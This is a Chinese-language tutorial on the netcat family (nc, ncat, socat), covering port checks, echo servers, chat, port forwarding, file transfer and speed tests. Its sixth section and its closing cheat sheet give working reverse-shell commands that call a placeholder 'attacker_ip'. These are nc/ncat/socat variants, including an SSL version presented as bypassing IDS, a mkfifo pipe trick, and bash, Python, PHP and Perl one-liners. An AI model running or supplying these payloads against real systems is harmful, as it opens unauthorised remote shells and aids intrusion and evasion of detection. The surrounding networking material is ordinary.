一、概述
在网络调试、安全测试和日常运维中,nc / netcat 是一款经典的 TCP/UDP 网络工具。随着时间推移,社区在其基础上衍生出了功能更丰富的替代品:
| 工具 | 来源 | 特点 |
|---|---|---|
| nc / netcat | 原始版本(Hobbit 编写) | 简洁轻量,基础功能完备 |
| ncat | Nmap 项目套件 | 支持 SSL 加密、代理、连接代理,CentOS 7 中 nc 默认指向 ncat |
| socat | 独立项目 | 功能最为强大,支持几乎所有类型的双向数据通道(TCP、UDP、SSL、代理、文件、管道等) |
三者关系
#mermaid-svg-y6ZNHiEGDIQaqEvV{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-y6ZNHiEGDIQaqEvV .error-icon{fill:#552222;}#mermaid-svg-y6ZNHiEGDIQaqEvV .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-y6ZNHiEGDIQaqEvV .marker{fill:#333333;stroke:#333333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .marker.cross{stroke:#333333;}#mermaid-svg-y6ZNHiEGDIQaqEvV svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-y6ZNHiEGDIQaqEvV p{margin:0;}#mermaid-svg-y6ZNHiEGDIQaqEvV .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster-label text{fill:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster-label span{color:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster-label span p{background-color:transparent;}#mermaid-svg-y6ZNHiEGDIQaqEvV .label text,#mermaid-svg-y6ZNHiEGDIQaqEvV span{fill:#333;color:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .node rect,#mermaid-svg-y6ZNHiEGDIQaqEvV .node circle,#mermaid-svg-y6ZNHiEGDIQaqEvV .node ellipse,#mermaid-svg-y6ZNHiEGDIQaqEvV .node polygon,#mermaid-svg-y6ZNHiEGDIQaqEvV .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .rough-node .label text,#mermaid-svg-y6ZNHiEGDIQaqEvV .node .label text,#mermaid-svg-y6ZNHiEGDIQaqEvV .image-shape .label,#mermaid-svg-y6ZNHiEGDIQaqEvV .icon-shape .label{text-anchor:middle;}#mermaid-svg-y6ZNHiEGDIQaqEvV .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .rough-node .label,#mermaid-svg-y6ZNHiEGDIQaqEvV .node .label,#mermaid-svg-y6ZNHiEGDIQaqEvV .image-shape .label,#mermaid-svg-y6ZNHiEGDIQaqEvV .icon-shape .label{text-align:center;}#mermaid-svg-y6ZNHiEGDIQaqEvV .node.clickable{cursor:pointer;}#mermaid-svg-y6ZNHiEGDIQaqEvV .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .arrowheadPath{fill:#333333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-y6ZNHiEGDIQaqEvV .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-y6ZNHiEGDIQaqEvV .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-y6ZNHiEGDIQaqEvV .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster text{fill:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV .cluster span{color:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-y6ZNHiEGDIQaqEvV .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-y6ZNHiEGDIQaqEvV rect.text{fill:none;stroke-width:0;}#mermaid-svg-y6ZNHiEGDIQaqEvV .icon-shape,#mermaid-svg-y6ZNHiEGDIQaqEvV .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-y6ZNHiEGDIQaqEvV .icon-shape p,#mermaid-svg-y6ZNHiEGDIQaqEvV .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-y6ZNHiEGDIQaqEvV .icon-shape .label rect,#mermaid-svg-y6ZNHiEGDIQaqEvV .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-y6ZNHiEGDIQaqEvV .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-y6ZNHiEGDIQaqEvV .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-y6ZNHiEGDIQaqEvV :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 原始 netcat / nc
ncat
Nmap 套件增强版
socat
超级增强版
- ncat 是 Nmap 项目的官方 netcat 替代品,CentOS 7+ 系统中
/usr/bin/nc通常是 ncat 的符号链接。 - socat 号称"nc++",功能远超 nc,但语法也更为复杂;一个常见问题是端口释放较慢,可通过
reuseaddr选项缓解。
二、基础连接测试
2.1 端口连通性检测
最常见的用途------检测目标 IP 的某个端口是否可达:
bash
# nc 方式
nc -zv 192.168.1.100 80
# ncat 方式(与 nc 相同)
ncat -zv 192.168.1.100 22
# socat 方式
socat - TCP:192.168.1.100:80,connect-timeout=3
参数说明:
-z:扫描模式,不发送数据(zero-I/O mode)-v:输出详细信息(verbose)
2.2 端口范围扫描
bash
# 扫描 20-30 端口范围
nc -zv 192.168.1.100 20-30
# 扫描多个离散端口
nc -zv 192.168.1.100 22 80 443 3306 6379
⚠️ 注意 :ncat 作为 Nmap 套件的一部分,不再内置端口扫描功能------Nmap 本身才是专业的端口扫描器。
三、回显服务(Echo Server)
回显服务是最简单的网络调试服务器,它将接收到的数据原样返回。
3.1 TCP 回显
仅回显,不在服务器端打印接收内容:
bash
# ncat:使用 -c 或 -e 调用外部命令
ncat -c cat -k -l 6666
ncat -e /bin/cat -k -l 6666
# nc(传统版本)
nc -e /bin/cat -k -l 6666
# socat:fork 为每个连接创建子进程,reuseaddr 允许端口复用
socat TCP-LISTEN:6666,fork,reuseaddr EXEC:/bin/cat
回显同时在服务器端打印数据(调试利器):
bash
# socat 的双 -d -d 显示连接建立/断开,-v 打印数据流
socat -d -d -v TCP-LISTEN:6666,fork,reuseaddr EXEC:'/bin/cat'
3.2 UDP 回显
bash
# ncat
ncat -c cat -k -u -l 6666
ncat -e /bin/cat -k -u -l 6666
# socat
socat UDP-LISTEN:6666,fork,reuseaddr EXEC:/bin/cat
3.3 自定义回显(添加前缀/时间戳)
bash
# ncat:每条消息加时间戳
ncat -c 'while read line; do echo "[$(date +%T)] $line"; done' -k -l 6666
# socat:同样效果,语法更优雅
socat TCP-LISTEN:6666,fork,reuseaddr SYSTEM:'while read l; do echo "[$(date +%T)] \$l"; done'
四、简易聊天室(Chat)
4.1 一对一聊天
ncat / nc 原生支持双向通信,非常适合临时聊天:
bash
# 服务器端(监听)
host1$ ncat -lp 6666
# 客户端(连接)
host2$ ncat host1 6666
两端输入的内容会直接显示在对方终端上。这种方式无加密,仅适用于内网或测试环境。
4.2 基于 socat 的聊天
bash
# 服务器
socat TCP-LISTEN:6666,fork,reuseaddr STDOUT
# 客户端
socat - TCP:host1:6666
4.3 SSL 加密聊天(ncat)
bash
# 服务器端(需要先生成证书)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lp 6666
# 客户端
ncat --ssl host1 6666
这样传输内容就经过 SSL 加密了。
五、端口转发与代理
这是网络排障中极为实用的功能。
5.1 简单 TCP 端口转发
将本机 A 端口流量转发到远程 B 端口:
bash
# ncat 方式:监听本机 7777,转发到 192.168.7.8:8888
ncat --sh-exec "ncat 192.168.7.8 8888" -l 7777 --keep-open
# socat 方式(更直观)
socat TCP-LISTEN:7777,fork,reuseaddr TCP:192.168.7.8:8888
5.2 本地端口转发(通过跳板机访问内网服务)
假设你只能 SSH 到跳板机 jump-host,但需要访问内网的 10.0.1.50:3306(MySQL):
bash
# 在本地执行,将本地 3307 通过跳板机转发到内网 MySQL
ssh -L 3307:10.0.1.50:3306 user@jump-host -N
# 或不依赖 SSH 端口转发,用 socat 在跳板机上执行
# 跳板机上:
socat TCP-LISTEN:3307,fork,reuseaddr TCP:10.0.1.50:3306
# 本地连接 jump-host:3307 即可
5.3 UDP 端口转发
bash
# socat 支持 UDP 转发
socat UDP-LISTEN:53,fork,reuseaddr UDP:8.8.8.8:53
5.4 HTTP 代理
用 socat 快速搭建一个单连接 HTTP 代理(用于通过跳板机访问网页):
bash
# 跳板机上监听,将 HTTP 请求转发到目标
socat TCP-LISTEN:8080,fork,reuseaddr TCP:target-website.com:80
六、Reverse Shell
反向 Shell 是让目标机器主动连接攻击者机器并提供一个 Shell。这在防火墙仅允许出站连接时尤其有用。
6.1 基础反向 Shell
bash
# 启动
nc -lvp 4444
# 目标机器
nc -e /bin/bash attacker_ip 4444
# 或
nc -e /bin/sh attacker_ip 4444
6.2 各工具变体
bash
# ── ncat ──
# 发起者
ncat -lvp 4444
# 目标
ncat -e /bin/bash attacker_ip 4444
# ncat 的 SSL 加密反向 Shell(绕过 IDS)
# 发起者
ncat --ssl -lvp 4444
# 目标
ncat --ssl -e /bin/bash attacker_ip 4444
# ── socat ──
# 发起者
socat TCP-LISTEN:4444,reuseaddr STDOUT
# 目标
socat TCP:attacker_ip:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint
# socat 的 pty 参数可以获得完整的 TTY 体验
6.3 当 nc 不支持 -e 参数时
某些发行版编译的 nc 不包含 -e 功能。此时可用命名管道绕过:
bash
# 目标机器
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f
6.4 各语言一行式反向 Shell
当 nc 不可用时,这些备选方案非常有用:
bash
# Bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Python
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attacker_ip",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$s=fsockopen("attacker_ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="attacker_ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
七、文件传输
在没有 SCP/FTP/HTTP 的环境下,nc/socat 是传输文件的利器。
7.1 nc 发送/接收文件
bash
# 接收端(先发起)
nc -lvp 6666 > received_file.tar.gz
# 发送端
nc receiver_ip 6666 < file_to_send.tar.gz
7.2 显示传输进度
bash
# 使用 pv(pipe viewer)显示进度
# 接收端
nc -lvp 6666 | pv > received_file.tar.gz
# 发送端
pv file_to_send.tar.gz | nc receiver_ip 6666
7.3 传输目录(压缩后发送)
bash
# 发送端:打包压缩后通过 nc 发送
tar czf - /path/to/directory | nc receiver_ip 6666
# 接收端:接收并解压
nc -lvp 6666 | tar xzf - -C /destination/path
7.4 ncat SSL 加密传输
bash
# 接收端(需要证书)
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvp 6666 > received.txt
# 发送端
ncat --ssl receiver_ip 6666 < secret_file.txt
7.5 socat 文件传输
bash
# 发送端
socat TCP:receiver_ip:6666 OPEN:file_to_send.tar.gz,rdonly
# 接收端
socat TCP-LISTEN:6666,reuseaddr,fork OPEN:received.tar.gz,creat,trunc
八、网速测试
在没有 iperf 工具的环境中,可以用 nc 快速测试两台机器之间的网络吞吐量。
8.1 使用 dd + nc 测速
bash
# 接收端(先启动)
nc -lvp 6666 | dd of=/dev/null bs=1M status=progress
# 发送端:发送 1GB 的零数据
dd if=/dev/zero bs=1M count=1024 | nc receiver_ip 6666
8.2 使用 pv 查看实时速率
bash
# 接收端
nc -lvp 6666 | pv -r > /dev/null
# 发送端:发送 100MB 数据
dd if=/dev/zero bs=1M count=100 | nc receiver_ip 6666
8.3 ncat 方式
bash
# 接收端
ncat -lvp 6666 > /dev/null
# 发送端:用 ncat 发送 500MB
dd if=/dev/zero bs=1M count=500 | ncat receiver_ip 6666
九、socat 专长
socat 的强大之处在于它几乎可以连接一切:文件、管道、设备、代理、SSL、exec、system 等。
9.1 串口调试
bash
# 将串口设备 到 TCP 端口
socat TCP-LISTEN:9999,fork,reuseaddr FILE:/dev/ttyUSB0,b115200,raw
9.2 将命令输出作为服务
bash
# 连接时返回当前系统信息
socat TCP-LISTEN:9999,fork,reuseaddr EXEC:'uptime; free -h; df -h',pty,stderr
9.3 Unix Domain Socket 转发
bash
# 将 Unix Socket 暴露为 TCP 端口(如本地 Docker socket)
socat TCP-LISTEN:2375,fork,reuseaddr UNIX-CONNECT:/var/run/docker.sock
9.4 IPv4 到 IPv6 转换
bash
# 将 IPv4 连接转发到 IPv6 服务
socat TCP4-LISTEN:8080,fork,reuseaddr TCP6:[::1]:80
9.5 简易 HTTPS 服务器
bash
# 返回固定页面内容
socat OPENSSL-LISTEN:443,cert=server.pem,key=server.key,fork,reuseaddr \
SYSTEM:'echo -ne "HTTP/1.1 200 OK\r\n\r\n"; cat /var/www/index.html'
十、命令速查表
| 场景 | nc / netcat | ncat | socat |
|---|---|---|---|
| 端口检测 | nc -zv host port |
ncat -zv host port |
socat - TCP:host:port |
| 听端口 | nc -lp port |
ncat -lp port |
socat TCP-L:port,fork - |
| TCP 回显 | nc -e /bin/cat -k -l port |
ncat -e /bin/cat -k -l port |
socat TCP-L:port,fork EXEC:/bin/cat |
| UDP 回显 | --- | ncat -e /bin/cat -k -u -l port |
socat UDP-L:port,fork EXEC:/bin/cat |
| 端口转发 | --- | ncat --sh-exec "ncat host port" -l port --keep-open |
socat TCP-L:port,fork TCP:host:port |
| 文件发送 | nc host port < file |
ncat host port < file |
socat TCP:host:port OPEN:file,rdonly |
| 文件接收 | nc -lp port > file |
ncat -lp port > file |
socat TCP-L:port OPEN:file,creat,trunc |
| 反向 Shell | nc -e /bin/sh host port |
ncat -e /bin/sh host port |
socat TCP:host:port EXEC:/bin/sh,pty |
| SSL 加密 | 不支持 | ncat --ssl -lp port |
socat OPENSSL-L:port,cert=... |